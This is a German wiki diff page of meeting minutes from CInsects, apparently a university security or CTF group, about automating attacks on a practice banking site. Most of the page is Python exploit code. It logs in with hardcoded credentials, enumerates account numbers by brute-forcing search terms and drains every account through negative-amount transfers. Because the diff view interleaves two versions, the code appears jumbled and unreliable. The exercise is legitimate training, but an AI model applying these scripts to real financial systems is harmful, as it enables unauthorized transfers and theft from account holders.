Bearbeiten von „CInsects/Protokolle/CInsects:Treffen-2010-11-16

Zur Navigation springen Zur Suche springen

Warnung: Du bist nicht angemeldet. Deine IP-Adresse wird bei Bearbeitungen öffentlich sichtbar. Melde dich an oder erstelle ein Benutzerkonto, damit Bearbeitungen deinem Benutzernamen zugeordnet werden.

Die Bearbeitung kann rückgängig gemacht werden. Bitte prüfe den Vergleich unten, um sicherzustellen, dass du dies tun möchtest, und veröffentliche dann unten deine Änderungen, um die Bearbeitung rückgängig zu machen.

Aktuelle Version Dein Text
Zeile 1: Zeile 1:
Diese Seite ist eine Unterseite von [[CInsects]].
Diese Seite ist eine Unterseite von [[CInsects]].


Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.


= Exploit =
= Exploit =


== Ein moeglicher Exploit ==
Haesslicher Quelltext:


== Schnelles auslesen der Kontonummern ueber gevent ==
<pre>
<pre>
from gevent import monkey
monkey.patch_socket()


import urllib2
import urllib2
import urllib
import urllib
import cookielib
import cookielib
import re
from itertools import product
import string
import string
import re
from itertools import product, chain
import gevent


cj = cookielib.CookieJar()
cj = cookielib.CookieJar()
Zeile 25: Zeile 22:


url = 'http://badbank.cinsects.de'
url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
    'user': 'Jan',
    'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()


def login(user, password):
def alpha_beta_liste():
     params = urllib.urlencode({
     return [a+b for a, b in product(string.lowercase, string.lowercase)]
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)


# Wir interessieren und nur fuer die Kontonummern
def search(params):
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
     print params
def fetch_accounts(searchterm):
     req = urllib2.urlopen(url + '/index.php?page=search', params)
     params = urllib.urlencode({
    suche = req.read()
        'name': searchterm
     result = ktnre.findall(suche)
    })
    if result:
     data = urllib2.urlopen(url + '/index.php?page=search', params).read()
        name_nummer_list.append(result)
     return account_re.findall(data)
    print name_nummer_list


if __name__ == '__main__':
def transfer(kontonummer, betrag, tan_id, tan):
    login('Jan', 'AZyNEBAeTC')
    params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
     searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
     req = urllib2.urlopen(url + '/index.php?page=transfer', params)
     jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
     seite = req.read()
     gevent.joinall(jobs, timeout=120)
     if erfolg.findall(seite):
     # Ergebnisse lesen und Liste flachklopfen
        print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
     accounts = list(chain(*[job.value for job in jobs]))
     else:
    print accounts
        print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name
</pre>
      
alphabeta  = alpha_beta_liste()
ktnre = re.compile('<td>(.*)</td>')
betrag = -10
tan_id = 500
tan = 700338
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
name_nummer_list = []


Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
for name in alphabeta:
<pre>
    print name
real 0m19.563s
    params = urllib.urlencode({'name': name})
user 0m1.356s
    while True:
sys 0m0.240s
        try:
</pre>
            search(params)
 
            break
 
        except urllib2.URLError, e:
ein kleines Script welches die übersicht über den Kontostand.
            print "Fehler aufgetreten" + e
<pre>
import urllib
import urllib2
import cookielib
import re
import time




selfkn='43568'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
url = 'http://badbank.cinsects.de'
def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)
def printKonto():
    text=urllib2.urlopen(url + '/index.php').read()
    #print text
    print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]
print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
while True:
     printKonto()
     for elem in name_nummer_list:
    time.sleep(5)
        name, kontonummer = elem


        while True:
            try:
                transfer(kontonummer, betrag, tan_id, tan)
                break
            except:
                pass
</pre>
</pre>


== Volautomatischen geldklauen ==
== Schnelles auslesen der Kontonummern ueber gevent ==
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.
<pre>
<pre>
from gevent import monkey
from gevent import monkey
monkey.patch_socket()
monkey.patch_socket()
Zeile 113: Zeile 93:
from itertools import product, chain
from itertools import product, chain
import gevent
import gevent
import os.path
selfkn='43568'


cj = cookielib.CookieJar()
cj = cookielib.CookieJar()
Zeile 137: Zeile 113:
         'name': searchterm
         'name': searchterm
     })
     })
     while True:
     data = urllib2.urlopen(url + '/index.php?page=search', params).read()
        try:
            data = urllib2.urlopen(url + '/index.php?page=search', params).read()
            break
        except:
            pass
    print '...Konto mit '+searchterm+' untersucht'
     return account_re.findall(data)
     return account_re.findall(data)
def ueberweise(konto,betrag):
    data = urllib.urlencode({
        'account':konto,
        'tan_id':176,
        'amount':betrag *-1,
        'tan':697768
    })
    while True:
        try:
            request = urllib2.urlopen(url + '/index.php?page=transfer',data)
            break
        except:
            pass
    ant=request.read()
    if(re.findall('(folgreich)',ant)):
        print 'Konto %s  um %s  Geld erleichtert' % (konto,betrag)
        return True
    return False
def plundern(konto):
    menge=1
    bad=0
    if(konto==selfkn):
        return 0;#sich selbst muss man kein geld ueberweisen
    while True:
        if(ueberweise(konto,menge)):
            menge*=2
            bad=0
        else:
            if(menge>1):
                menge/=2
            else:
              # time.sleep(5)
              bad+=1
              if(bad>10):
                  print 'Konto %s ist ganz Leer' % (konto)
                  break
    return 1


if __name__ == '__main__':
if __name__ == '__main__':
     print 'Login....'
     login('Jan', 'AZyNEBAeTC')
    #login('Doerte', 'NMrSymamb2')
     searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
     print 'Suche Konten'
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
    if(os.path.exists('konten')):
    gevent.joinall(jobs, timeout=120)
        accounts=[]
    # Ergebnisse lesen und Liste flachklopfen
        ko=open('konten')
    accounts = list(chain(*[job.value for job in jobs]))
        while True:
     print accounts
            test=ko.read(5)
</pre>
            if(test==''):
                break
            accounts.append(test)
            ko.read(1)
    else:
        searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
        jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
        gevent.joinall(jobs, timeout=500)
        # Ergebnisse lesen und Liste flachklopfen
        accounts = list(chain(*[job.value for job in jobs]))
     #print accounts
    print 'Konten gefunden'
    jobs = [gevent.spawn(plundern,konto) for konto in accounts]
    gevent.joinall(jobs, timeout=500)


Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
<pre>
real 0m19.563s
user 0m1.356s
sys 0m0.240s
</pre>
</pre>
 
[[Kategorie: CInsects-Protokolle]]
[[Kategorie:CInsects-Protokolle]]

Bitte beachte, dass alle Beiträge zu Fachschaft_Informatik von anderen Mitwirkenden bearbeitet, geändert oder gelöscht werden können. Reiche hier keine Texte ein, falls du nicht willst, dass diese ohne Einschränkung geändert werden können.

Du bestätigst hiermit auch, dass du diese Texte selbst geschrieben hast oder diese von einer gemeinfreien Quelle kopiert hast (weitere Einzelheiten unter Fachschaft Informatik:Urheberrechte). ÜBERTRAGE OHNE GENEHMIGUNG KEINE URHEBERRECHTLICH GESCHÜTZTEN INHALTE!

Bitte beantworte die folgende Frage, um diese Seite bearbeiten zu können (<a href="/Fachschaft/wiki/index.php?title=Special:Captcha/help" class="internal">weitere Informationen</a>):

Abbrechen Bearbeitungshilfe (wird in einem neuen Fenster geöffnet)